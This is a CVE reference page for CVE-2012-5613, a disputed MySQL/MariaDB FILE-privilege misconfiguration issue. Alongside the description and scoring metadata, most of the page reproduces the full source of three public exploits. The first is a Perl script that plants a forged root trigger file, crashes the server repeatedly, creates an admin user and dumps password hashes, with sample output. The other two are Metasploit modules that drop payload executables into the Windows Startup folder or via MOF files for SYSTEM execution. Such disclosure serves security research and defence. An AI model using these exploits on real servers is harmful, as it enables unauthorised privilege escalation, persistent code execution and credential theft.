CVE-2012-5613 : Detail

CVE-2012-5613

A05-Security Misconfiguration
96.28%V3
Network
2012-12-02
23h00 +00:00
2023-02-11
23h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

MySQL 5.5.19 and possibly other versions, and MariaDB 5.5.28a and possibly other versions, when configured to assign the FILE privilege to users who should not have administrative privileges, allows remote authenticated users to gain privileges by leveraging the FILE privilege to create files as the MySQL administrator. NOTE: the vendor disputes this issue, stating that this is only a vulnerability when the administrator does not follow recommendations in the product's installation documentation. NOTE: it could be argued that this should not be included in CVE because it is a configuration issue.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-16 Category : Configuration
Weaknesses in this category are typically introduced during the configuration of the software.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 23077

Publication date : 2012-12-01 23h00 +00:00
Author : kingcope
EDB Verified : Yes

use DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG * Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun) * INSERT a value into the table so the trigger event gets executed * The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled. * Crash the MySQL Server again to force it reload the user configuration * Create a new mysql user with all privileges set to enabled * Crash again to reload configuration * Connect by using the newly created user * The new connection has ADMIN access now to all databases in mysql * The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded * As said the user has FULL ACCESS to the database now Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen. =cut =for comment user created for testing (file privs will minor privileges to only one database): mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test'; Query OK, 0 rows affected (0.00 sec) mysql> create database lessdb -> ; Query OK, 1 row affected (0.00 sec) mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION; Query OK, 0 rows affected (0.02 sec) mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION; Query OK, 0 rows affected (0.00 sec) login with new unprivileged user: mysql> select * from mysql.user; ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user' =cut =for comment example attack output: C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\ \', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y \\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\ \'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\ 'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs _names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri vilege_elevation.pl line 44. DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_ privilege_elevation.pl line 50. DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_ privilege_elevation.pl line 59. W00TW00T! Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64 B02C Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697 Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7 Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC =cut $user = "less10"; $password = "test"; $database = "lessdb10"; $target = "192.168.2.4"; $folder = "/var/lib/mysql/"; # Linux $newuser = "rootedbox2"; $newuserpass = "rootedbox2"; $mysql_version = "51"; # can be 51 or 50 if ($mysql_version eq "50") { $inject = "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';"; } else { $inject = "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';"; } print $inject;#exit; $inject2 = "SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''"; my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", "$user", "$password", {'RaiseError' => 0}); eval { $dbh->do("DROP TABLE rootme") }; $dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));"); $dbh->do($inject); $dbh->do($inject2); $a = "A" x 10000; $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';"); sleep(3); my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", "$user", "$password", {'RaiseError' => 0}); $dbh->do("INSERT INTO rootme VALUES('ROOTED');"); $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';"); sleep(3); my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", "$user", "$password", {'RaiseError' => 0}); $dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';"); $dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;"); $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';"); sleep(3); my $dbh = DBI->connect("DBI:mysql:host=$target;", $newuser, $newuserpass, {'RaiseError' => 0}); my $sth = $dbh->prepare("SELECT * FROM mysql.user"); $sth->execute(); print "W00TW00T!\n"; while (my $ref = $sth->fetchrow_hashref()) { print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n"; } $sth->finish();
Exploit Database EDB-ID : 35777

Publication date : 2015-01-12 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse', 'Description' => %q{ This module takes advantage of a file privilege misconfiguration problem specifically against Windows MySQL servers. This module abuses the FILE privilege to write a payload to Microsoft's All Users Start Up directory which will execute every time a user logs in. The default All Users Start Up directory used by the module is Windows 7 friendly. }, 'Author' => [ 'sinn3r', 'Sean Verity <veritysr1980[at]gmail.com' ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'true' }, 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-5613'], #DISPUTED ['OSVDB', '88118'], ['EDB', '23083'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13'] ], 'Platform' => 'win', 'Targets' => [ [ 'MySQL on Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 01 2012' )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as']), OptString.new('PASSWORD', [ true, 'The password to authenticate with']), OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/']) ]) end def check m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) return Exploit::CheckCode::Safe unless m return Exploit::CheckCode::Appears if is_windows? Exploit::CheckCode::Safe end def peer "#{rhost}:#{rport}" end def query(q) rows = [] begin res = mysql_query(q) return rows unless res res.each_hash do |row| rows << row end rescue RbMysql::ParseError return rows end rows end def is_windows? r = query("SELECT @@version_compile_os;") r[0]['@@version_compile_os'] =~ /^Win/ ? true : false end def get_drive_letter r = query("SELECT @@tmpdir;") drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' drive end def upload_file(bin, dest) p = bin.unpack("H*")[0] query("SELECT 0x#{p} into DUMPFILE '#{dest}'") end def exploit unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/') fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/") end print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") begin m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) rescue RbMysql::AccessDeniedError fail_with(Failure::NoAccess, "#{peer} - Access denied") end fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m unless is_windows? fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows") end begin drive = get_drive_letter rescue RbMysql::ParseError fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") end fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive exe_name = Rex::Text::rand_text_alpha(5) + ".exe" dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}" exe = generate_payload_exe print_status("#{peer} - Uploading to '#{dest}'") begin upload_file(exe, dest) rescue RbMysql::AccessDeniedError fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)") end register_file_for_cleanup("#{dest}") end end
Exploit Database EDB-ID : 23179

Publication date : 2012-12-05 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::WbemExec include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution', 'Description' => %q{ This modules takes advantage of a file privilege misconfiguration problem specifically against Windows MySQL servers (due to the use of a .mof file). This may result in arbitrary code execution under the context of SYSTEM. However, please note in order to use this module, you must have a valid MySQL account on the target machine. }, 'Author' => [ 'kingcope', 'sinn3r' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-5613'], #DISPUTED ['EDB', '23083'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13'] ], 'Platform' => 'win', 'Targets' => [ [ 'MySQL on Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 01 2012' )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as']), OptString.new('PASSWORD', [ true, 'The password to authenticate with']) ]) end def check begin m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) rescue RbMysql::AccessDeniedError print_error("#{peer} - Access denied.") return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears if is_windows? return Exploit::CheckCode::Safe end def peer "#{rhost}:#{rport}" end def query(q) rows = [] begin res = mysql_query(q) return rows if not res res.each_hash do |row| rows << row end rescue RbMysql::ParseError return rows end return rows end def is_windows? r = query("SELECT @@version_compile_os;") return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false end def get_drive_letter r = query("SELECT @@tmpdir;") drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' return drive end def upload_file(bin, dest) p = bin.unpack("H*")[0] query("SELECT 0x#{p} into DUMPFILE '#{dest}'") end def exploit print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") begin m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) return if not m rescue RbMysql::AccessDeniedError print_error("#{peer} - Access denied.") return end if not is_windows? print_error("#{peer} - Remote host isn't Windows.") return end drive = get_drive_letter exe_name = Rex::Text::rand_text_alpha(5) + ".exe" dest = "#{drive}:/windows/system32/#{exe_name}" exe = generate_payload_exe print_status("#{peer} - Uploading to '#{dest}'") begin upload_file(exe, dest) register_file_for_cleanup("#{exe_name}") rescue RbMysql::AccessDeniedError print_error("#{peer} - No permission to write. I blame kc :-)") return end mof_name = Rex::Text::rand_text_alpha(5) + ".mof" dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}" mof = generate_mof(mof_name, exe_name) print_status("#{peer} - Uploading to '#{dest}'") begin upload_file(mof, dest) register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") rescue RbMysql::AccessDeniedError print_error("#{peer} - No permission to write. Bail!") return end end end

Products Mentioned

Configuraton 0

Mariadb>>Mariadb >> Version 5.5.28a

Oracle>>Mysql >> Version 5.5.19

Linux>>Linux_kernel >> Version -

References

http://secunia.com/advisories/53372
Tags : third-party-advisory